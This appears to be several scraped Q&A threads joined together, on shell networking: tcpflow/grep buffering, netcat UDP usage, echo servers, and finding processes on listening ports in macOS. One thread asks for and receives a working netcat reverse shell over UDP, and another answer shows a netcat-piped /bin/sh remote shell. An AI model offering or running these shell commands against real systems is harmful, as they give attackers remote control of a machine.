(maybe it is the "tcpflow" problem)
I write a script to monitoring http traffic, and I install tcpflow, then grep
it works (and you should make a http request, for example curl www.163.com)
sudo tcpflow -p -c -i eth0 port 80 2>/dev/null | grep '^Host: '
it outputs like this (continuously)
Host: config.getsync.com
Host: i.stack.imgur.com
Host: www.gravatar.com
Host: www.gravatar.com
but I can't continue to use pipe
does not work (nothing output)
sudo tcpflow -p -c -i eth0 port 80 2>/dev/null | grep '^Host: ' | cut -b 7-
does not work (nothing output)
sudo tcpflow -p -c -i eth0 port 80 2>/dev/null | grep '^Host: ' | grep H
When I replace sudo tcpflow with cat foo.txt, it works:
cat foo.txt | grep '^Host: ' | grep H
so what's wrong with pipe or grep or tcpflow ?
update:
This is my final script: https://github.com/zhengkai/config/blob/master/script/monitor_outgoing_http.sh
To grep a continuous stream use --line-buffered option:
sudo tcpflow -p -c -i eth0 port 80 2> /dev/null | grep --line-buffered '^Host'
--line-buffered
Use line buffering on output. This can cause a performance penalty.
Some reflections about buffered outputting(stdbuf tool is also mentioned):
Pipes, how do data flow in a pipeline?
I think the problem is because of stdio buffering, you need to use GNU stdbuf before calling grep,
sudo tcpflow -p -c -i eth0 port 80 2>/dev/null | stdbuf -o0 grep '^Host: '
With the -o0, it basically means the output (stdout) stream from tcpflow will be unbuffered. The default behavior will be to automatically buffer up data into 40961 byte chunks before sending to next command in pipeline, which is what overriden using stdbuf
1. Refer this nice detail into the subject.
I want to get a reverse shell over UDP using netcat. Netcat by default sends traffic over TCP, so in order to send it over UDP I run the -u option like this:
Host 1:
nc.traditional -l -p 4444 -v -u
Host 2:
nc.traditional localhost 4444 -e /bin/bash -u
But when I type a bash command I do not get the output. Why is that?
There are several problems with this:
You use localhost on Host 2. This is a special hostname that refers to the current host, not to Host 1.
UDP has no connections. Host 1 won't know where to send packets if it doesn't receive a message first.
bash reads input character by character, which doesn't work well with non-stream packet based data.
You can instead connect nc and bash with streams, and then send an immediate packet so that Host 1 will know where to send the commands you enter:
Host1:
nc.traditional -l -p 4444 -v -u
Host 2:
mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{
echo "Hi"
bash
} > fifo
I execute my bash script PLCCheck as process
./PLCCheck &
PLCCheck
while read -r line
do
...
def_host=192.168.100.110
def_port=6002
HOST=${2:-$def_host}
PORT=${3:-$def_port}
echo -n "OKConnection" | netcat -u -c $HOST $PORT
done < <(netcat -u -l -p 6001)
It listens on UDP Port 6001.
When I want to execute my second bash script SQLCheck as process that listens on UDP Port 4001
./SQLCheck &
SQLCheck
while read -r line
do
...
def_host=192.168.100.110
def_port=6002
HOST=${2:-$def_host}
PORT=${3:-$def_port}
echo -n "OPENEF1" | netcat -u -c $HOST $PORT
done < <(nc -l -p 4001)
I got this error:
Error: Couldn't setup listening socket (err=-3)
Port 6001 and 4001 are open in the iptables and both scripts work as a single process. Why do I get this error?
I have checked the man page of nc. I think it is used on a wrong way:
-l Used to specify that nc should listen for an incoming connection rather
than initiate a connection to a remote host. It is an error to use this
option in conjunction with the -p, -s, or -z options. Additionally,
any timeouts specified with the -w option are ignored.
...
-p source_port
Specifies the source port nc should use, subject to privilege restrictions
and availability. It is an error to use this option in conjunction with the
-l option.
According to this one should not use -l option with -p option!
Try to use without -p, just nc -l 4001. Maybe this is the error...
How to write a echo server bash script using tools like nc, echo, xargs, etc capable of simultaneously processing requests from multiple clients each with durable connection?
The best that I've came up so far is
nc -l -p 2000 -c 'xargs -n1 echo'
but it only allows a single connection.
If you use ncat instead of nc your command line works fine with multiple connections but (as you pointed out) without -p.
ncat -l 2000 -k -c 'xargs -n1 echo'
ncat is available at http://nmap.org/ncat/.
P.S. with the original the Hobbit's netcat (nc) the -c flag is not supported.
Update: -k (--keep-open) is now required to handle multiple connections.
Here are some examples. ncat simple services
TCP echo server
ncat -l 2000 --keep-open --exec "/bin/cat"
UDP echo server
ncat -l 2000 --keep-open --udp --exec "/bin/cat"
In case ncat is not an option, socat will also work:
socat TCP4-LISTEN:2000,fork EXEC:cat
The fork is necessary so multiple connections can be accepted. Adding reuseaddr to TCP4-LISTEN may be convenient.
netcat solution pre-installed in Ubunutu
The netcat pre-installed in Ubuntu 16.04 comes from netcat-openbsd, and has no -c option, but the manual gives a solution:
sudo mknod -m 777 fifo p
cat fifo | netcat -l -k localhost 8000 > fifo
Then client example:
echo abc | netcat localhost 8000
TODO: how to modify the input string value? The following does not return any reply:
cat fifo | tr 'a' 'b' | netcat -l -k localhost 8000 > fifo
The remote shell example however works:
cat fifo | /bin/sh -i 2>&1 | netcat -l -k localhost 8000 > fifo
I don't know how to deal with concurrent requests simply however.
what about...
#! /bin/sh
while :; do
/bin/nc.traditional -k -l -p 3342 -c 'xargs -n1 echo'
done
On Linux, I can use netstat -pntl | grep $PORT or fuser -n tcp $PORT to find out which process (PID) is listening on the specified TCP port. How do I get the same information on Mac OS X?
On macOS Big Sur and later, use this command:
sudo lsof -i -P | grep LISTEN | grep :$PORT
or to just see just IPv4:
sudo lsof -nP -i4TCP:$PORT | grep LISTEN
On older versions, use one of the following forms:
sudo lsof -nP -iTCP:$PORT | grep LISTEN
sudo lsof -nP -i:$PORT | grep LISTEN
Substitute $PORT with the port number or a comma-separated list of port numbers.
Prepend sudo (followed by a space) if you need information on ports below #1024.
The -n flag is for displaying IP addresses instead of host names. This makes the command execute much faster, because DNS lookups to get the host names can be slow (several seconds or a minute for many hosts).
The -P flag is for displaying raw port numbers instead of resolved names like http, ftp or more esoteric service names like dpserve, socalia.
See the comments for more options.
For completeness, because frequently used together:
To kill the PID:
sudo kill -9 <PID>
# kill -9 60401
Up to macOS 13 Ventura, every version of macOS supports this:
sudo lsof -iTCP -sTCP:LISTEN -n -P
Personally I've end up with this simple function in my ~/.bash_profile:
listening() {
if [ $# -eq 0 ]; then
sudo lsof -iTCP -sTCP:LISTEN -n -P
elif [ $# -eq 1 ]; then
sudo lsof -iTCP -sTCP:LISTEN -n -P | grep -i --color $1
else
echo "Usage: listening [pattern]"
fi
}
Then listening command gives you a listing of processes listening on some port and listening smth greps this for some pattern.
Having this, it's quite easy to ask about particular process, e.g. listening dropbox, or port, e.g. listening 22.
lsof command has some specialized options for asking about port, protocol, process etc. but personally I've found above function much more handy, since I don't need to remember all these low-level options. lsof is quite powerful tool, but unfortunately not so comfy to use.
You can also use:
sudo lsof -i -n -P | grep TCP
This works in Mavericks.
Update January 2016
Really surprised no-one has suggested:
lsof -i :PORT_NUMBER
to get the basic information required. For instance, checking on port 1337:
lsof -i :1337
Other variations, depending on circumstances:
sudo lsof -i :1337
lsof -i tcp:1337
You can easily build on this to extract the PID itself. For example:
lsof -t -i :1337
which is also equivalent (in result) to this command:
lsof -i :1337 | awk '{ print $2; }' | head -n 2 | grep -v PID
Quick illustration:
For completeness, because frequently used together:
To kill the PID:
kill -9 <PID>
# kill -9 60401
or as a one liner:
kill -9 $(lsof -t -i :1337)
For the LISTEN, ESTABLISHED and CLOSED ports
sudo lsof -n -i -P | grep TCP
For the LISTEN ports only
sudo lsof -n -i -P | grep LISTEN
For a specific LISTEN port, ex: port 80
sudo lsof -n -i -P | grep ':80 (LISTEN)'
Or if you just want a compact summary [no service/apps described], go by NETSTAT. The good side here is, no sudo needed
netstat -a -n | grep 'LISTEN '
Explaining the items used:
-n suppress the host name
-i for IPv4 and IPv6 protocols
-P omit port names
-a [over netstat] for all sockets
-n [over netstat] don't resolve names, show network addresses as numbers
Tested on High Sierra 10.13.3 and Mojave 10.14.3
the last syntax netstat works on linux too
on OS X you can use the -v option for netstat to give the associated pid.
type:
netstat -anv | grep [.]PORT
the output will look like this:
tcp46 0 0 *.8080 *.* LISTEN 131072 131072 3105 0
The PID is the number before the last column, 3105 for this case
On macOS, here's an easy way to get the process ID that's listening on a specific port with netstat. This example looks for a process serving content on port 80:
find server running on port 80
netstat -anv | egrep -w [.]80.*LISTEN
sample output
tcp4 0 0 *.80 *.* LISTEN 131072 131072 715 0
The 2nd from the last column is the PID. In above, it's 715.
options
-a - show all ports, including those used by servers
-n - show numbers, don't look up names. This makes the command a lot faster
-v - verbose output, to get the process IDs
-w - search words. Otherwise the command will return info for ports 8000 and 8001, not just "80"
LISTEN - give info only for ports in LISTEN mode, i.e. servers
On the latest macOS version you can use this command:
lsof -nP -i4TCP:$PORT | grep LISTEN
If you find it hard to remember then maybe you should create a bash function and export it with a friendlier name like so
vi ~/.bash_profile
and then add the following lines to that file and save it.
function listening_on() {
lsof -nP -i4TCP:"$1" | grep LISTEN
}
Now you can type listening_on 80 in your Terminal and see which process is listening on port 80.
On Snow Leopard (OS X 10.6.8), running 'man lsof' yields:
lsof -i 4 -a
(actual manual entry is 'lsof -i 4 -a -p 1234')
The previous answers didn't work on Snow Leopard, but I was trying to use 'netstat -nlp' until I saw the use of 'lsof' in the answer by pts.
I am a Linux guy. In Linux it is extremely easy with netstat -ltpn or any combination of those letters. But in Mac OS X netstat -an | grep LISTEN is the most humane. Others are very ugly and very difficult to remember when troubleshooting.
checkout this project/tool: procs
install on MacOs: brew install procs
This allows you control what to display with procs.
To see TCP/UDP Ports, add below to ~/.procs.toml after installing the tool.
[[columns]]
kind = "TcpPort"
style = "BrightYellow|Yellow"
numeric_search = true
nonnumeric_search = false
align = "Left"
[[columns]]
kind = "UdpPort"
style = "BrightGreen|Green"
numeric_search = false
nonnumeric_search = true
align = "Left"
Here is a sample output:
lsof -n -i | awk '{ print $1,$9; }' | sort -u
This displays who's doing what. Remove -n to see hostnames (a bit slower).
This did what I needed.
ps -eaf | grep `lsof -t -i:$PORT`
I made a small script to see not only who is listening where but also to display established connections and to which countries. Works on OSX Siera
#!/bin/bash
printf "\nchecking established connections\n\n"
for i in $(sudo lsof -i -n -P | grep TCP | grep ESTABLISHED | grep -v IPv6 |
grep -v 127.0.0.1 | cut -d ">" -f2 | cut -d " " -f1 | cut -d ":" -f1); do
printf "$i : " & curl freegeoip.net/xml/$i -s -S | grep CountryName |
cut -d ">" -f2 | cut -d"<" -f1
done
printf "\ndisplaying listening ports\n\n"
sudo lsof -i -n -P | grep TCP | grep LISTEN | cut -d " " -f 1,32-35
#EOF
Sample output
checking established connections
107.178.244.155 : United States
17.188.136.186 : United States
17.252.76.19 : United States
17.252.76.19 : United States
17.188.136.186 : United States
5.45.62.118 : Netherlands
40.101.42.66 : Ireland
151.101.1.69 : United States
173.194.69.188 : United States
104.25.170.11 : United States
5.45.62.49 : Netherlands
198.252.206.25 : United States
151.101.1.69 : United States
34.198.53.220 : United States
198.252.206.25 : United States
151.101.129.69 : United States
91.225.248.133 : Ireland
216.58.212.234 : United States
displaying listening ports
mysqld TCP *:3306 (LISTEN)
com.avast TCP 127.0.0.1:12080 (LISTEN)
com.avast TCP [::1]:12080 (LISTEN)
com.avast TCP 127.0.0.1:12110 (LISTEN)
com.avast TCP [::1]:12110 (LISTEN)
com.avast TCP 127.0.0.1:12143 (LISTEN)
com.avast TCP [::1]:12143 (LISTEN)
com.avast TCP 127.0.0.1:12995 (LISTEN)
com.avast [::1]:12995 (LISTEN)
com.avast 127.0.0.1:12993 (LISTEN)
com.avast [::1]:12993 (LISTEN)
Google TCP 127.0.0.1:34013 (LISTEN)
This may be useful to check if you are connected to north-korea! ;-)
This is a good way on macOS High Sierra:
netstat -an |grep -i listen
Inspired by user Brent Self:
lsof -i 4 -a | grep LISTEN
For macOS I use two commands together to show information about the processes listening on the machine and process connecting to remote servers. In other words, to check the listening ports and the current (TCP) connections on a host you could use the two following commands together
1. netstat -p tcp -p udp
2. lsof -n -i4TCP -i4UDP
Thought I would add my input, hopefully it can end up helping someone.
Just a slight improvement on Michał Kalinowski's answer (I don't have enough reputation to leave a comment there): if you are trying to find the process listening on a port numbered 255 and below, the grep command might print lines related to the IP address, and which do not correspond to the desired result. For a port with any number, the grep command might also erroneously match the device's MAC address or PID. To improve on this, I suggest changing the command to grep --color ":$1 "